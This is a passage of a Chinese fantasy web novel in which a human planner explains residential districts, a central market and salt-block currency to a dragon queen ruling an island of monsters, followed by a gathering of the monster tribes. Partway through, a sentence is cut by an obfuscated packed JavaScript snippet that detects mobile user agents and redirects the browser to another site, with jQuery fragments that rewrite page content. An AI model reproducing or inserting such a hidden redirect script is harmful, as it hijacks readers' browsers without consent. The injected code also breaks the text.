“巷坊制？”克因珐莉的注意力果然被这陌生的词吸引，她向前一步，凑近石壁，盯着那些逐渐成型的线条，“那是什么东西？和造房子有什么关系？”


    她讨厌这种听不懂的词，但这个词又关乎某种秩序，让她本能地觉得有用。


    东方慎一边画，一边解释，努力用她能理解的最直白的语言：“所谓‘巷’，便是道路，四通八达，连接各处。”


    他用炭笔画下纵横交错的线条。“‘坊’，就是聚居的区域，用道路分隔开来。”


    他在线条围成的区域里画上不同的符号。一个狼头代表狼人，一个矿镐代表地精，一个石像轮廓代表石像鬼，一个蛇形代表蛇怪。


    “陛下请看，”他的炭笔点在狼头符号的区域，“把习性相近的，规划在同一坊区。狼人喜群居、奔跑，那就划出这片开阔之地为其坊区，修建连城一排的石屋，围出训练场。”


    说着，他的笔尖移到矿镐区域，“地精喜欢挨着地脉，善于挖掘，就把他们的坊区选在矿脉附近，顺着山势向下开凿，建造地下穴居群落，既满足了他们的特点，又能方便他们采矿。”


    笔尖接着移到石像鬼区域，“石像鬼需要稳固崖壁栖身，他们的坊区就设在岛东那片天然崖壁之下，在崖壁上凿出一间一间房子，再凿出平台相连接，既稳固又安全。”


    最后是蛇形区域，“蛇怪喜欢水，他们的坊区就挨着水建，在水上筑造平台房屋。”


    克因珐莉的目光随着他的笔尖移动，双眸里映着那些简单的符号和线条。


    她似乎看懂了：狼人一堆，地精一堆，石像鬼一堆，蛇怪一堆，中间用路连起来。这确实比乱糟糟地挤在一起清晰多了！


    她恍然大悟般地拍了下石案，“我懂了！就是把那群吵吵嚷嚷的家伙按窝分开！用路隔开！省得狼崽子跑到地精洞里捣乱，石像鬼睡觉被蛇怪的水溅到！”这个分窝的概念她一下子就抓住了精髓。


    “陛下说得对。”东方慎继续引导，“分坊居住，能让大家都有秩序生活，还能方便陛下去管理。更妙的是，”他的炭笔在所有坊区交汇的中心点，用力画了一个大圈，“可在此核心地带，开辟市集！”


    “市集？”又一个新词蹦出来，克因珐莉的眉头又皱了起来，“那又是什么？卖东西的地方？”


    她记得以前抢掠人类商船时，见过一些集中摆摊的地方，但具体怎么运作，她毫无概念。


    “正是。”东方慎点头，尽量解释得通俗，“市集，就是让臣民们互通有无的地方。狼人猎获兽皮过多，用不完；地精挖掘矿石，除了上缴，尚有富余；蛇怪捕获鲜鱼，吃不完会腐烂；鹰身女妖收集的漂亮石头和羽毛，或许狼人幼崽喜欢，或许地精想用来装饰洞穴……”


    他观察着克因珐莉的表情，看到她眼中闪过一丝兴趣，但更多的是茫然。


    “互通有无？怎么通？”克因珐莉追问，她理解交换，但具体怎么操作？难道像蛇怪求偶那样互相送东西？


    “就是交易。”东方慎进一步解释，“狼人可将其富余的兽皮，带到市集，若地精需要兽皮保暖或铺地，便可用其富余的矿石来交换。同样，蛇怪可用鲜鱼换取狼人的兽肉，或是地精的某种工具。鹰身女妖的漂亮石头和羽毛，若被喜欢，也可换得她需要的食物或其他物品。”


    “交换？用东西换东西？”克因珐莉总算抓住了核心，但新的问题又来了，“那要是狼人想换蛇怪的鱼，但蛇怪不想要兽皮，想要地精的矿石怎么办？难道让狼人先拿兽皮去换地精的矿石，再用矿石换鱼？多麻烦！”她本能地觉得这中间有个疙瘩。


    东方慎心中微讶，这恶龙对逻辑的捕捉倒是敏锐。


    他继续道：“陛下想得很周全。这就是长久交易中可能遇到的问题。在我家乡，为解决此等不便，便有了货币。”


    “货币？”克因珐莉感觉脑子快不够用了，怎么一个词接着一个词？


    “一种被所有人都认可的东西。”东方慎尽量简化，“比如，波杰岛盛产盐，盐乃生存必需，人人需要。我们可将盐制成大小、纯度一致的小块或小袋，给它一个标准价值。那么，狼人的兽皮值多少盐块，地精的矿石值多少盐块，蛇怪的鲜鱼值多少盐块，便有了衡量。狼人想买鱼，只需付给蛇怪相应价值的盐块即可。蛇怪得了盐块，随时可以去买他真正需要的东西，比如地精的矿石，只需付盐块给地精。这样的话，交易就能灵活顺畅多了。”


    克因珐莉听得半懂不懂，脑子里像塞了一团乱麻。盐块？价值？衡量？她不喜欢这些弯弯绕绕的东西，但她听出东方慎话语里反复提到的几个意思：能让岛上繁荣、岛上的资源流转、大家都能物尽其用。


    这不就是她之前被东方慎说服的龙蛋先决条件吗？波杰岛变得繁荣、富足、一切井井有条，她的统治才稳固，才能获取龙蛋！


    原来，这就是能让龙蛋落地的蓝图，比单单给她造一座漂亮房子有用一百倍！


    “好，很好！”克因珐莉猛地一击掌，“就这么办！东方慎，你这想法，和我的龙蛋计划吻合了！繁荣的波杰岛，才配得上我的龙蛋。”


    她几步走到东方慎面前，几乎要贴上他，灼热的气息扑面而来，“从最容易搞定的开始！蛇怪！它们住水边，地方小，脑子也简单！就拿它们试试你的坊和市集！”


    她带着命令的口吻说：“你，立刻给我弄个详细的蛇怪新窝的图！要快！我要看到它们从水里搬出来，住进你画的那种坊里！还有那个市集的雏形！”


    东方慎他垂下眼帘，掩去眸底的情绪，“遵命，陛下。我即刻着手绘制蛇怪坊区及市集雏形图纸。”


    “很好！”克因珐莉满意地收回手指，退开一步，目光在东方慎脸上逡巡，“记住，东方慎，这不仅仅是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002631|178300||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为了那些滑溜溜的家伙。这是为了波杰岛的未来，”她的语气带着一种心照不宣的暗示，“为了我们的龙蛋。别让我失望。”


    她转身，龙尾在身后愉悦地摆动，大步走向龙窟深处的高台。那背影，带着掌控一切的笃定和因发现捷径而生的亢奋。


    东方慎站在原地，他抬手用力擦过石壁上那个代表蛇怪坊区的蛇形符号，炭灰沾上指尖，留下乌黑的痕迹。


    工具……他再一次确认了自己的定位。


    图纸要画。而且要画得足够好，足够让这头恶龙满意，让她看到繁荣的希望。只有让她看到希望，他才有空间，才有机会，去解开这该死的共生契约。


    他走到石案旁，拿起那张兽皮图纸。指尖抚过塔楼顶端的平台，那曾是他为自己规划的一线喘息之机。他将图纸卷起，将其置于石案一角。


    然后他又铺开一张新的兽皮纸。炭笔尖点在皮面上画着。


    他必须在这头恶龙限定的棋盘上，落好自己的每一子。蛇怪的新家，市集的雏形……第一步，就从这里开始。


    克因珐莉站在龙窟入口的高崖上，背后是幽深的洞窟，身前是乱石嶙峋的坡地。


    此刻，这片坡地被挤得水泄不通。


    “都给我听好了！安静！安静！”克因珐莉的声音压下了怪物们的喧哗。


    坡地下方，波杰岛所有的怪物臣民都来了。


    狼人占据了一大块地盘，幼崽们互相追逐撕咬，嗷嗷乱叫，被成年狼人用爪子不耐烦地扒拉到身后。首领嚎天抱着胳膊站在最前面。


    地精们像一堆会移动的土疙瘩，聚在相对干燥的角落，叽叽喳喳。老地根被簇拥在中间，稀疏的几根头发倔强地翘着，正用两块地脉石相互刮擦着，发出刺耳的“呲啦”声。他儿子格鲁姆缩在后面，眼睛滴溜溜乱转。


    石像鬼们则分散在崖壁阴影下。首领鲁克眼珠缓缓扫视全场，发出石头摩擦的声音，正在评估局势。


    蛇怪们滑腻的身躯在湿润的地面扭动，阿斑高昂着头，颈皮褶兴奋地鼓动着，嘶嘶地跟旁边的同伴说着什么，尾巴拍得地面啪啪响。


    鹰身女妖们则占据了视野最好的树梢和突出岩石，莉亚梳理着自己的尾羽，时不时发出几声鸣叫，引来其他女妖的附和。


    其他诸如食肉魔、小岩怪等小种族群，则挤在更边缘的地方，伸长了脖子。


    东方慎站在克因珐莉侧后方稍低的位置，斯内克盘立在他脚边，三只眼睛紧张地扫视着下方。


    东方慎不动声色地观察着每个首领的反应，尤其是老地根和格鲁姆。


    “为了波杰岛的繁荣！为了……咳……”克因珐莉顿了一下，在回忆东方慎那些文绉绉的词，但很快放弃了，“为了更好的日子！我决定！”


    她猛地提高音量，语气带着主宰的权威，“让首席基建官东方慎，带你们盖新家！”